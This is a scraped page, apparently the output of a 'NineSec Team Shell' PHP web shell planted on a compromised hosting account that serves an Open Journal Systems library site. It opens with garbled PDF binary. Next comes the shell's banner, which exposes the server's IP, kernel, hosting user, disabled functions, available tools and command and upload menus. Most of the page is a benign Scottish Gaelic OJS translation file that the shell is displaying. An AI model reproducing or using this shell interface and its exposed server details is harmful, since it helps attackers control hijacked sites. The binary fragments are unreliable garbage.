%PDF-1.3 %âăĎÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœĽ\mo7ţ ˙a?îâńHŁŃĚŕŠyi{š$EÚ(i?ŹcÇŢÄkűürAţý‰˝ŽvˇEŰízF˘HI|H‘Ô?ż{Ř|Z|X|÷Ýńó‡‡őÇËółĹ‡ă77Ű?OžÝžż__lŽ×››ëăßOŕя77çwßżxńęĺâĹÉÓ'Ç?ŞĹ°8ůôôI] ľűgQťÔBŠŚ2zaŕł]œlÝűĹ|üôôɇĺŰ՟‹“?}ňƒŁ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 2a02:4780:6:1422:0:e17:6acc:2  /  Your IP : 216.73.216.151
Web Server : LiteSpeed
System : Linux id-dci-web1322.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : u236415692 ( 236415692)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/gd_GB/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u236415692/domains/perpustakaan-undana.com/public_html/ejurnal/locale/gd_GB/locale.po
msgid ""
msgstr ""
"PO-Revision-Date: 2020-12-02 19:57+0000\n"
"Last-Translator: Michael Bauer <fios@igaidhlig.net>\n"
"Language-Team: Gaelic <http://translate.pkp.sfu.ca/projects/ojs/locale/gd_GB/"
">\n"
"Language: gd_GB\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=4; plural=(n==1 || n==11) ? 0 : (n==2 || n==12) ? 1 : "
"(n > 2 && n < 20) ? 2 : 3;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "notification.type.galleyModified"
msgstr "Chaidh mòr-dhuilleag airson “{$title}” atharrachadh."

msgid "manager.setup.copyrightNotice.sample"
msgstr ""
"<h3>Brathan còir-lethbhreac Creative Commons a tha gam moladh</h3>\n"
"<h4>1. Am poileasaidh a thathar a’ moladh airson iris-leabhraichean ris a "
"bheil inntrigeadh fosgailte</h4>\n"
"Tha Ăšghdaran a tha airson rud fhoillseachadh san iris-leabhar seo ag "
"aontachadh ris na teirmichean a leanas:\n"
"<ol type=\"a\">\n"
"\t<li>Glèidhidh na h-ùghdaran a’ chòir-lethbhreac aca agus tha iad a’ toirt "
"cead ciad fhoillseachadh dhan iris-leabhar agus a’ cur na h-obrach fo <a "
"target=\"_new\" href=\"http://creativecommons.org/licenses/by/3.0/\">"
"cheadachas aithrisidh Creative Commons</a> ag aon aon Ă m a bheir cead do "
"dhaoine eile an obair a cho-roinneadh fhad ’s a nì iad aithris air ùghdar na "
"h-obrach agus a chiad fhoillseachadh san iris-leabhar seo.\n"
"</li>\n"
"\t<li>Faodaidh Úghdaran cÚmhnantan fa leth eile a dhèanamh airson sgaoileadh "
"neo-às-dùnach de thionndadh na h-obrach a dh’fhoillsich an t-iris-leabhar ("
"m.e. airson a phostadh ann an ionad-tasgaidh buidhinn no fhoillseachadh ann "
"an leabhar) fhad ’s a nithear aithris air ciad fhoillseachadh na h-obrach "
"san iris-leabhar seo.\n"
"</li>\n"
"\t<li>Tha cead aig Ăšghdaran an cuid obrach a phostadh air loidhne (m.e. ann "
"an ionadan-tasgaidh institiuidean no air an làrach-lìn aca) agus thathar a’ "
"brosnachadh seo ro agus rè pròiseas an tagraidh oir faodaidh seo eadar-"
"ghabhail thairbheach a bhrosnachadh agus iomradh nas trĂ ithe agus nas pailte "
"dhen obair fhoillsichte (Faic <a target=\"_new\" href=\"http://opcit.eprints."
"org/oacitation-biblio.html\">The Effect of Open Access</a>).</li>\n"
"</ol>\n"
"\n"
"<h4>2. Am poileasaidh a thathar a’ moladh airson iris-leabhraichean ris a "
"bheil inntrigeadh fosgailte le dĂ il</h4>\n"
"Tha Ăšghdaran a tha airson rud fhoillseachadh san iris-leabhar seo ag "
"aontachadh ris na teirmichean a leanas:\n"
"<ol type=\"a\">\n"
"\t<li>Glèidhidh na h-ùghdaran a’ chòir-lethbhreac aca agus tha iad a’ toirt "
"cead ciad fhoillseachadh dhan iris-leabhar agus a’ cur na h-obrach [SÒNRAICH "
"ÙINE] an dèidh foillseachaidh fo <a target=\"_new\" href=\""
"http://creativecommons.org/licenses/by/3.0/\">cheadachas aithrisidh Creative "
"Commons</a> ag aon aon Ă m a bheir cead do dhaoine eile an obair a cho-"
"roinneadh fhad ’s a nì iad aithris air ùghdar na h-obrach agus a chiad "
"fhoillseachadh san iris-leabhar seo.\n"
"</li>\n"
"\t <li>Faodaidh Úghdaran cÚmhnantan fa leth eile a dhèanamh airson "
"sgaoileadh neo-às-dùnach de thionndadh na h-obrach a dh’fhoillsich an t-iris-"
"leabhar (m.e. airson a phostadh ann an ionad-tasgaidh buidhinn no "
"fhoillseachadh ann an leabhar) fhad ’s a nithear aithris air ciad "
"fhoillseachadh na h-obrach san iris-leabhar seo.\n"
"</li>\n"
"\t <li>Tha cead aig Ăšghdaran an cuid obrach a phostadh air loidhne (m.e. ann "
"an ionadan-tasgaidh institiuidean no air an làrach-lìn aca) agus thathar a’ "
"brosnachadh seo ro agus rè pròiseas an tagraidh oir faodaidh seo eadar-"
"ghabhail thairbheach a bhrosnachadh agus iomradh nas trĂ ithe agus nas pailte "
"dhen obair fhoillsichte (Faic <a target=\"_new\" href=\"http://opcit.eprints."
"org/oacitation-biblio.html\">The Effect of Open Access</a>).</li>\n"
"</ol>"

msgid "reader.purchasePrice"
msgstr "({$currency} {$price})"

msgid "common.software"
msgstr "Open Journal Systems"

msgid "grid.catalogEntry.approvedRepresentation.removeMessage"
msgstr "<p>Thoir an t-aonta air falbh on ghailearaidh seo.</p>"

msgid "grid.catalogEntry.approvedRepresentation.message"
msgstr "<p>Thoir aonta foillseachaidh dhan ghailearaidh seo.</p>"

msgid "site.upgradeAvailable.manager"
msgstr ""
"Tha tionndadh ùr de OJS ri fhaighinn! ’S e tionndadh {$currentVersion} de "
"OJS a tha agad an-dràsta. ’S e {$latestVersion} an tionndadh as ùire de OJS. "
"Cuir fios gu rianaire na lĂ raich agad, ({$siteAdminName}, <a href=\""
"mailto:{$siteAdminEmail}\">{$siteAdminEmail}</a>) is innis dhaibh gu bheil "
"tionndadh Ăšr ga sgaoileadh. Gheibh thu barrachd fiosrachaidh <a href=\""
"http://pkp.sfu.ca/ojs_download\" target=\"_new\">an-seo</a>."

msgid "site.upgradeAvailable.admin"
msgstr ""
"Tha tionndadh ùr de OJS ri fhaighinn! ’S e tionndadh {$currentVersion} de "
"OJS a tha agad an-dràsta. ’S e {$latestVersion} an tionndadh as ùire de OJS. "
"Tadhail air <a href=\"http://pkp.sfu.ca/ojs_download\" target=\"_new\">an "
"duilleag seo</a> a luchdadh a-nuas an tionndaidh as Ăšire agus airson "
"stiĂšireadh mun Ă rdachadh."

msgid "installer.upgradeComplete"
msgstr ""
"<p>Chaidh tionndadh {$version} de OJS a stĂ ladh.</p>\n"
"<p>Na dìochuimhnich an roghainn “stàlaichte” a chur gu <em>Air</em> a-"
"rithist san fhaidhle rèiteachaidh config.inc.php agad.</p>\n"
"<p>Mur eil thu air clĂ radh agus ma tha thu ag iarraidh naidheachdan is "
"Úrachaidhean fhaighinn, <strong>dèan clàradh aig<a href=\"http://pkp.sfu.ca/"
"ojs/register\" target=\"_new\">http://pkp.sfu.ca/ojs/register</a>.</strong> "
"Ma tha ceistean no beachdan agad mu dhèidhinn, tadhail air an <a href=\""
"http://forum.pkp.sfu.ca\" target=\"_new\">fhòram taice</a>.</p>"

msgid "installer.installationComplete"
msgstr ""
"<p>Chaidh OJS a stĂ ladh.</p>\n"
"<p>Airson tòiseachadh leis an t-siostam, <a href=\"{$loginUrl}\">clàraich "
"a-steach</a> leis an ainm-chleachdaiche is facal-faire a chuir thu a-steach "
"air an duilleag roimhpe.</p>\n"
"<p>Ma tha thu airson pĂ irt a ghabhail ann an coimhearsnachd PKP,</p>\n"
"<ol>\n"
"\t<li>Leugh <a href=\"http://pkp.sfu.ca/blog\" target=\"_new\">bloga PKP</a> "
"agus lean ris an <a href=\"http://pkp.sfu.ca/blog/feed\" target=\"_new\">"
"inbhir RSS</a> airson naidheachd is Ăšrachaidhean.\n"
"</li>\n"
"\t<li>Tadhail air an <a href=\"http://forum.pkp.sfu.ca\" target=\"_new\">"
"fhòram taice</a> ma tha ceist no beachd sam bith agad.</li>\n"
"</ol>"

msgid "installer.overwriteConfigFileInstructions"
msgstr ""
"<h4>CUDROMACH!</h4>\n"
"<p>Cha b’ urrainn dhan stàlaichear sgrìobhadh thairis air an fhaidhle "
"rèiteachaidh.\n"
"Mus cleachd thu an siostam, fosgail <tt>config.inc.php</tt> ann an deasaiche "
"teacsa iomchaidh agus cuir na tha san raon teacsa gu h-ĂŹosal an Ă ite na "
"susbaint ann.</p>"

msgid "installer.reinstallAfterDatabaseError"
msgstr ""
"<strong>Rabhadh:</strong> Ma dh’fhàilligeas an stàladh letheach slighe tro "
"stàladh an stòir-dhàta, dh’fhaoidte gum bi agad ris an stòr-dàta OJS no "
"clàran an stòir-dhàta a sguabadh às mus nÏ thu oidhirp eile air an stòr-dàta "
"a stĂ ladh."

msgid "installer.filesDirInstructions"
msgstr ""
"Cuir a-steach ainm slàn na slighe gu pasgan làithreach far an tèid na "
"faidhlichean a chumail a thèid a luchdadh suas. Cha bu chòir dha a bhith na "
"phasgan a ruigear calg-dhÏreach on lÏon. <strong>Dèan cinnteach gu bheil am "
"pasgan seo ann agus gun gabh sgrÏobhadh ann mus tòisich thu air an "
"stàladh.</strong> Bu chòir do shlaisichean air adhart a bhith ann an ainmean "
"slighean Windows, m.e. \"C:/myjournal/faidhlichean\"."

msgid "installer.maxFileUploadSize"
msgstr ""
"Tha am frithealaiche agad a’ ceadachadh luchdadh suas de dh’fhaidhlichean "
"suas chun a’ mheud a leanas aig an àm seo: "
"<strong>{$maxFileUploadSize}</strong>"

msgid "installer.allowFileUploads"
msgstr ""
"Tha am frithealaiche agad a’ ceadachadh luchdadh suas de dh’fhaidhlichean "
"aig an Ă m seo: <strong>{$allowFileUploads}</strong>"

msgid "installer.localeSettingsInstructions"
msgstr ""
"Airson lĂ n-taic Unicode (UTF-8), tagh UTF-8 airson gach roghainn a thaobh "
"nan seataichean charactaran.\n"
"Thoir an aire gum bi agad ri PHP a thrusadh le taic airson leabhar-lann <a "
"href=\"http://www.php.net/mbstring\" target=\"_blank\">mbstring</a> (rud a "
"bhios an comas a ghnĂ th anns gach stĂ ladh PHP o chionn greis).\n"
"Dh’fhaoidte gum bi duilgheadasas agad le seataichean charactaran sònraichte "
"mur eil am frithealaiche agad a’ coileanadh nan riatanasan seo.\n"
"<br /><br />\n"
"Tha taic aig an fhrithealaiche agad ri mbstring: "
"<strong>{$supportsMBString}</strong>"

msgid "installer.upgradeInstructions"
msgstr ""
"<h4>Tionndadh OJS {$version}</h4>\n"
"\n"
"<p>Mòran taing airson <strong>Open Journal Systems</strong> aig a’ Public "
"Knowledge Project a luchdadh a-nuas.\n"
"Mus lean thu air adhart, leugh na faidhlichean <a href=\"{$baseUrl}/docs/"
"README.md\">README</a> agus <a href=\"{$baseUrl}/docs/UPGRADE.md\""
">UPGRADE</a> a tha gan gabhail a-staigh leis a’ bhathar-bhog seo.\n"
"Airson barrachd fiosrachaidh mun Public Knowledge Project agus na "
"pròiseactan bathair-bhog aca, tadhail air <a href=\"http://pkp.sfu.ca/\" "
"target=\"_blank\">lĂ rach-lĂŹn PKP</a>.\n"
"Ma tha thu airson aithris a dhèanamh aig buga no ma tha ceist agad mu Open "
"Journal Systems, faic am <a href=\"http://forum.pkp.sfu.ca\" target=\""
"_blank\">fòram taice</a> no tadhail air an t-siostam aig PKP airson <a href="
"\"https://github.com/pkp/pkp-lib#issues\" target=\"_blank\">aithris a "
"dhèanamh aig bugaichean</a>.\n"
"Ge b’ fheàrr leinn cluinntinn o dhaoine slighe an fhòraim, ’s urrainn dhut "
"post-d a chur chun an sgioba cuideachd aig <a href=\""
"mailto:pkp.contact@gmail.com\">pkp.contact@gmail.com</a>.</p>\n"
"<p><strong>Mholamaid dhut gu mòr</strong> gun dèan thu lethbhreac-glèidhidh "
"dhen stòr-dàta, pasgan nam faidhlichean agus pasgan stàladh OJS agad mus "
"lean thu air adhart.</p>\n"
"<p>Ma tha thu a’ ruith <a href=\"http://www.php.net/features.safe-mode\" "
"target=\"_blank\">sa mhodh sàbhailte PHP</a>, dèan cinnteach gu bheil crÏoch "
"àrd aig steòrnadh max_execution_time san fhaidhle rèiteachaidh php.ini agad."
"\n"
"Ma ruigear a’ chrìoch-ama seo no tè sam bith eile (m.e. an steòrnadh "
"“Timeout” aig Apache) agus ma bhriseas sin a-steach air an àrdachadh, bidh "
"agad ris a chur ceart de lĂ imh.</p>"

msgid "installer.preInstallationInstructions"
msgstr ""
"\n"
"<h4>Ceuman ron stĂ ladh</h4>\n"
"\n"
"\n"
"<p>1. Feumaidh tu na faidhlichean is pasganan a leans (agus an t-susbaint "
"annta) a dhèanamh so-sgrÏobhte:</p>\n"
"<ul>\n"
"\t<li>Tha <tt>config.inc.php</tt> so-sgrĂŹobhte (roghainneil):\n"
"{$writable_config}\n"
"</li>\n"
"\t<li>Tha <tt>public/</tt> so-sgrĂŹobhte:\n"
"{$writable_public}\n"
"</li>\n"
"\t<li>Tha <tt>cache/</tt> so-sgrĂŹobhte:\n"
"{$writable_cache}\n"
"</li>\n"
"\t<li>Tha <tt>cache/t_cache/</tt> so-sgrĂŹobhte:\n"
"{$writable_templates_cache}\n"
"</li>\n"
"\t<li>Tha <tt>cache/t_compile/</tt> so-sgrĂŹobhte:\n"
"{$writable_templates_compile}\n"
"</li>\n"
"\t<li>Tha <tt>cache/_db</tt> so-sgrĂŹobhte:\n"
"{$writable_db_cache}\n"
"</li>\n"
"</ul>\n"
"\n"
"<p>2. Feumaidh tu pasgan a chruthachadh far an cumar na faidhlichean a thèid "
"a luchdadh suas agus feumaidh e a bhith so-sgrìobhte (faic “Roghainnean "
"faidhle” gu h-ìosal.</p>"

#, fuzzy
msgid "installer.installationInstructions"
msgstr ""
"<h4>Tionndadh OJS {$version}</h4>\n"
"\n"
"<p>Mòran taing airson <strong>Open Journal Systems</strong> aig a’ Public "
"Knowledge Project a luchdadh a-nuas.\n"
"Mus lean thu air adhart, leugh am faidhle <a href=\"{$baseUrl}/docs/README."
"md\">README</a> a tha ga ghabhail a-staigh leis a’ bhathar-bhog seo.\n"
"Airson barrachd fiosrachaidh mun Public Knowledge Project agus na "
"pròiseactan bathair-bhog aca, tadhail air <a href=\"http://pkp.sfu.ca/\" "
"target=\"_blank\">lĂ rach-lĂŹn PKP</a>.\n"
"Ma tha thu airson aithris a dhèanamh aig buga no ma tha ceist agad mu Open "
"Journal Systems, faic am <a href=\"http://forum.pkp.sfu.ca\" target=\""
"_blank\">fòram taice</a> no tadhail air an t-siostam aig PKP airson <a href="
"\"https://github.com/pkp/pkp-lib#issues\" target=\"_blank\">aithris a "
"dhèanamh aig bugaichean</a>.\n"
"Ge b’ fheàrr leinn cluinntinn o dhaoine slighe an fhòraim, ’s urrainn dhut "
"post-d a chur chun an sgioba cuideachd <a href=\"mailto:pkp.contact@gmail."
"com\">pkp.contact@gmail.com</a>.</p>\n"
"\n"
"<h4>Àrdachadh</h4>\n"
"\n"
"<p>Ma tha thu ag Ă rdachadh stĂ ladh lĂ ithreach de OJS, <a href=\"{$upgradeUrl}"
"\">briog an-seo</a> a leantainn air adhart.</p>\n"
"\n"
"<h4>Riatanasan an t-siostaim a mholamaid</h4>\n"
"\n"
"<ul>\n"
"\t<li><a href=\"http://www.php.net/\" target=\"_blank\">PHP</a> >= "
"{$phpRequiredVersion}; ’s e PHP {$phpVersion}{$wrongPhpText} a tha agad an-"
"drĂ sta\n"
"</li>\n"
"\t<li><a href=\"http://www.mysql.com/\" target=\"_blank\">MySQL</a> >= 4.1 "
"no <a href=\"http://www.postgresql.org/\" target=\"_blank\">PostgreSQL</a> >="
" 9.1.5\n"
"</li>\n"
"\t<li><a href=\"http://httpd.apache.org/\" target=\"_blank\">Apache</a> >= "
"1.3.2x no >= 2.0.4x no Microsoft IIS 6\n"
"</li>\n"
"\t<li>Siostam-obrachaidh:\n"
"OS sam bith a chuireas taic ris a’ bhathar-bhog gu h-àrd, a’ gabhail a-"
"staigh <a href=\"http://www.linux.org/\" target=\"_blank\">Linux</a>, <a "
"href=\"http://www.bsd.org/\" target=\"_blank\">BSD</a>, <a href=\""
"http://www.oracle.com/sun/\" target=\"_blank\">Solaris</a>, <a href=\""
"http://www.apple.com/\" target=\"_blank\">Mac OS X</a>, <a href=\""
"http://www.microsoft.com/\">Windows</a>\n"
"</li>\n"
"</ul>\n"
"\n"
"<p>Leis nach eil de mhaoineachadh aig PKP gach co-measgachadh de bhathar-bog "
"agus Ăšrlar a chur fo dheuchainn, chan urrainn dhuinn barantas sam bith a "
"thoirt gun obraich e mar bu chòir no gum bi taic airson gach co-"
"measgachadh.</p>\n"
"\n"
"<p>Gabhaidh na roghainnean seo a chur air gleus an dèidh an stàlaidh le "
"bhith a’ deasachadh an fhaidhle <tt>config.inc.php</tt> sa bhun-phasgan OJS "
"no slighe eadar-aghaidh lĂŹn airson rianachd na lĂ raich.</p>\n"
"\n"
"<h4>Siostam stòr-dàta ris a bheil taic</h4>\n"
"\n"
"<p>Cha deach OJS a chur fo dheuchainn gu ruige seo ach air MySQL agus "
"PostgreSQL, ach dh’fhaoidte gun obraich siostam stiùireadh stòr-dàta eile ma "
"tha taic <a href=\"http://adodb.sourceforge.net/\" target=\"_blank\""
">ADOdb</a> riutha (gu ĂŹre no gu tur).\n"
"Faodar aithisgean air co-chòrdalachd agus/no brèidean còd airson DBMS eile a "
"chur gu sgioba OJS.</p>\n"

#, fuzzy
msgid "about.aboutOJSSite"
msgstr ""
"Tha an làrach seo a’ cleachdadh Open Journal Systems {$ojsVersion}, bathar-"
"bog le còd fosgailte airson stiÚireadh iris-leabhraichean is foillseachadh, "
"le taic a’ <a href=\"http://pkp.sfu.ca/\">Public Knowledge Project</a> agus "
"ga sgaoileadh gu saor fo cheadachas coitcheann poblach GNU."

msgid "about.aboutOJSJournal"
msgstr ""
"Tha an t-iris-leabhar seo a’ cleachdadh Open Journal Systems {$ojsVersion}, "
"bathar-bog le còd fosgailte airson stiÚireadh iris-leabhraichean is "
"foillseachadh, le taic a’ Public Knowledge Project agus ga sgaoileadh gu "
"saor fo cheadachas coitcheann poblach GNU. Tadhail air lĂ rach-lĂŹn PKP airson "
"<a href=\"http://pkp.sfu.ca/\">barrachd fiosrachaidh mun bhathar-bhog</a>. <"
"a href=\"{$contactUrl}\">Cuir fios chun an iris-leabhair fhèin</a> ma tha "
"ceist agad mun iris-leabhar agus tagraidhean dhan iris-leabhar."

msgid "about.onlineSubmissions.submitToSection"
msgstr "Dèan tagradh Úr dhan earrann <a href=\"{$url}\">{$name}</a>."

msgid "article.nonpdf.note"
msgstr ""
"Thèid am faidhle a thagh thu a luchdadh a-nuas gu fèin-obrachail a ghnàth. "
"Mur an dèan e sin, briog air a’ cheangal gu h-ìosal. Thoir an aire gum feum "
"thu prògram no plugan sònraichte mus fhaic thu am faidhle seo ma "
"dh’fhaoidte.<br /><br />Mur an tèid am faidhle a luchdadh a-nuas gu fèin-"
"obrachail, <a href=\"{$url}\">briog an-seo</a>."

msgid "article.pluginMissing"
msgstr ""
"<p>Thèid am faidhle PDF agad a luchdadh an-seo fhèin mar is trice ma tha "
"plugan leughadair PDF aig a’ bhrabhsair-lìn agad (mar eisimpleir, tionndadh "
"Ăšr de <a href=\"https://get.adobe.com/reader/\">Adobe Acrobat "
"Reader</a>).</p>"

msgid "search.syntaxInstructions"
msgstr ""
"Gliocasan luirg:<ul>\n"
"<li>Chan eil aire do litrichean mòra ’s beaga ann am faclan-luirg\n"
"</li>\n"
"<li>Thèid faclan cumanta a leigeil seachad\n"
"</li>\n"
"<li>A ghnàth, cha tèid ach artaigealan a thilleadh a tha <em>gach</em> facal-"
"luirg sa cheist aca (sin e, thathar a’ tuigsinn dheth gu bheil <em>AND</em> "
"eatarra)\n"
"</li>\n"
"<li>Dèan lorg le iomadh facal le <em>OR</em> eatarra airson artaigealan anns "
"a bheil co-dhiĂš aonan dhiubh; m.e. <em>foghlam OR rannsachadh</em>\n"
"</li>\n"
"<li>Cleachd eadar-rĂ dhan airson ceistean nas toinnte a chruthachadh; m.e. <em"
">tasg-lann ((iris-leabhar OR co-labhairt) NOT teusas)</em>\n"
"</li>\n"
"<li>Lorg abairt phongail le bhith ga chur eadar comharran-labhairt; m.e. <em>"
"\"foillseachadh le inntrigeadh fosgailte\"</em>\n"
"</li>\n"
"<li>Dùin facal às le bhith a’ cur <strong>-</strong> no <em>NOT</em> air a "
"bheulaibh; m.e. <em>air loidhne -poileataigs</em> no <em>air loidhne NOT "
"poileataigs</em>\n"
"</li>\n"
"<li>Cleachd <strong>*</strong> ann am facal mar shaorag a ghabhas Ă ite "
"sreath charactaran sam bith; m.e. <em>moraltachd sòis*</em> airson "
"sgrìobhainnean anns a bheil “sòiseo-eòlach” no “sòisealtais” a’ nochdadh</li>"
"\n"
"</ul>"

msgid "user.subscriptions.form.ipRangeInstructions"
msgstr ""
"Ma chuirear rainsean IP a-steach an-seo, cha leigear a leas Ă rainn a chur "
"a-steach.<br />Tha luachan dligheach a’ gabhail a-staigh seòlaidhean IP ("
"m.e. 142.58.103.1), rainse IP (m.e. 142.58.103.1 - 142.58.103.4), rainse IP "
"le saorag “*” (m.e. 142.58.*.*) agus rainse IP le CIDR (m.e. 142.58.100.0/"
"24)."

msgid "user.subscriptions.form.ipRangeItem"
msgstr "&#8226;"

msgid "user.subscriptions.form.domainInstructions"
msgstr ""
"Ma chuirear rainsean IP a-steach an-seo, cha leigear a leas Ă rainn a chur "
"a-steach.<br />Tha ainmean Ă rainnean nan luachan dligheach (m.e. gla.ac.uk)."

msgid "user.register.form.privacyConsentThisContext"
msgstr ""
"Tha, tha mi ag aontachadh gun tèid an dàta agam a chruinneachadh is a "
"stòradh a rèir <a href=\"{$privacyUrl}\" target=\"_blank\">aithris "
"prĂŹobhaideachd</a> an iris-leabhair seo."

msgid "submission.comments.viewableDescription"
msgstr ""
"Gabhaidh na beachdan seo a cho-roinneadh leis an Ăšghdar.<br />\n"
"(’S urrainn dhut barrachd bheachdan a chur ris an dèidh dhut a shàbhaladh "
"cuideachd.)"

msgid "author.submit.uploadInstructions"
msgstr ""
"\n"
"<p>Airson sgrĂŹobhainn a luchdadh suas dhan iris-leabhar seo, lean ris na "
"ceuman a leanas.</p>\n"
"<ol>\n"
"<li>Air an duilleag seo, briog air “Brabhsaich” (no “Tagh faidhle”) a dh’"
"fhosglas uinneag airson faidhle a thaghadh air clàr-cruaidh a’ choimpiutair "
"agad.\n"
"</li>\n"
"<li>Faigh grèim air an fhaidhle a tha thu airson cur thugainn agus "
"comharraich e.\n"
"</li>\n"
"<li>Briog air “Fosgail” san uinneag “Tagh faidhle” agus cuiridh sinn ainm an "
"fhaidhle dhan duilleag seo.\n"
"</li>\n"
"<li>Briog air “Luchdaich suas” air an duilleag seo agus luchdaichidh sin "
"suas am faidhle on choimpiutair gu làrach-lÏn an iris-leabhair agus thèid "
"ainm Úr a thoirt air an fhaidhle a rèir gnàthasan an iris-leabhair.\n"
"</li>\n"
"<li>Turas a chaidh an tagradh a luchdadh suas, briog air “Sàbhail agus lean "
"air adhart” aig bonn na duilleige seo.</li>\n"
"</ol>"

msgid "reviewer.article.enterCompetingInterests"
msgstr ""
"Cuir an cèill a bhail còmhstri Úidhean agad a thaobh an rannsachaidh seo ("
"faic <a target=\"_new\" class=\"action\" href=\""
"{$competingInterestGuidelinesUrl}\">poileasaidh na còmhstri Úidhean</a>)."

msgid "sectionEditor.regrets.regretsAndCancels"
msgstr "Aithreachasan ⁊ na sguir an lèirmheasaiche dheth"

msgid "sectionEditor.regrets.title"
msgstr ""
"#{$submissionId} aithreachasan an lèirmheasaiche, na sguir iad dheth ⁊ "
"cuairtean roimhe seo"

msgid "editor.submissionEditing.notes"
msgstr ""
"\n"
"\t<ol>\n"
"\t<li>Ma tha nĂŹ air a shoillseachadh, tha sin ag innse gum feum deasaiche "
"rudeigin a dhèanamh agus seo na leubailean:\n"
"<ul>\n"
"\t\t\t<li class=\"highlightCopyediting\">Tha rud ri dhèanamh ann an ceum a’ "
"ghrinn-deasachaidh\n"
"</li>\n"
"\t\t\t<li class=\"highlightCopyediting\">Tha rud ri dhèanamh ann an ceum na "
"co-dhealbhachd\n"
"</li>\n"
"\t\t\t<li class=\"highlightCopyediting\">Tha rud ri dhèanamh ann an ceum an "
"dearbh-leughaidh</li>\n"
"\t\t</ul>\n"
"\t</li>\n"
"</ol>"

msgid "editor.submissionReview.notes"
msgstr ""
"\n"
"\t<ol>\n"
"\t<li>Ma tha nĂŹ air a shoillseachadh, tha sin ag innse gum feum deasaiche "
"rudeigin a dhèanamh agus seo na leubailean:\n"
"<ul>\n"
"\t\t\t<li class=\"highlightReviewerNotNotified\">Chaidh lèirmheasaiche "
"iomruineadh ach cha deach fios a chur aca air a’ phost-d\n"
"</li>\n"
"\t\t\t<li class=\"highlightNoDecision\">Thill gach lèirmheasaiche na "
"beachdan aca ach cha deach co-dhĂšnadh a chlĂ radh\n"
"</li>\n"
"\t\t\t<li class=\"highlightRevisedCopyUploaded\">Luchdaich an t-Ăšghdar suas "
"sgrÏobhainn lèirmheasaichte\n"
"</li>\n"
"\t\t\t<li class=\"highlightReviewerConfirmationOverdue\">Tha an "
"lèirmheasaiche fadalach le dearbhadh a’ chuiridh gu lèirmheas seise\n"
"</li>\n"
"\t\t\t<li class=\"highlightReviewerCompletionOverdue\">Tha an lèirmheasaiche "
"fadalach le coileanadh an lèirmheis\n"
"</li>\n"
"\t\t</ul>\n"
"</li>\n"
"\t<li>Thèid an raon “Ri lìbhrigeadh” a lìonadh nuair a ghabhas an "
"lèirmheasaiche ris an iarrtas airson lèirmheas; seallaidh e co mheud "
"seachdain a tha air fhàgail gu ceann-là lÏbhrigeadh an lèirmheis no (-) co "
"mheud seachdain ’s a tha e fadalach.</li>\n"
"</ol>"

msgid "manager.people.noAdministrativeRights"
msgstr ""
"Tha sinn duilich ach chan eil còraichean rianachd agad mu choinneamh a’ "
"chleachdaiche seo.\n"
"Dh’fhaoidte nach eil a chionn ’s:\n"
"<ul>\n"
"\t\t\t<li>gu bheil an cleachdaiche na rianaire lĂ raich\n"
"</li>\n"
"\t\t\t<li>gu bheil an cleachdaiche gnĂŹomhach ann an iris-leabhraichean nach "
"eil fo do stiĂšireadh-sa\n"
"</li>\n"
"\t\t</ul>\n"
"\tgum bi aig rianaire lĂ raich an t-saothair seo a choileanadh.\n"
"\t"

msgid "manager.setup.referenceLinkingDescription"
msgstr ""
"<p>Airson ’s gun urrainn do leughadairean tionndaidhean air loidhne dhe na h-"
"obrachaidhean air a bheil Ăšghdar ag iomradh, tha na roghainnean a leanas ri "
"lĂ imh.</p>\n"
"\n"
"<ol>\n"
"\t<li><strong>Cuir inneal leughaidh ris</strong><p>’S urrainn do mhanaidsear "
"nan iris-leabhraichean “Lorg reifreansan” a chur ris na h-innealan leughaidh "
"a gheibhear an cois nithean foillsichte agus bheir seo comas do "
"leughadairean an tiotal aig reifreans a chur a-steach agus lorg a dhèanamh "
"ann an stòir-dhàta sgoilearach ro-shocraichte.</p>\n"
"</li>\n"
"\t<li><strong>Leabaich ceanglaichean sna reifreansan</strong><p>’S urrainn "
"do dheasaiche na co-dhealbhachd ceangal ri reifreansan air loidhne a chur "
"ris ma leanar an stiĂšireadh a leanas (gabhaidh seo a dheasachadh).</p></li>\n"
"</ol>"

msgid "manager.setup.basicEditorialStepsDescription"
msgstr ""
"Ceuman: Ciutha nan tagradh &gt; Lèirmheas nan tagradh &gt; Deasachadh nan "
"tagradh &gt; ClĂ r-innse.<br /><br />\n"
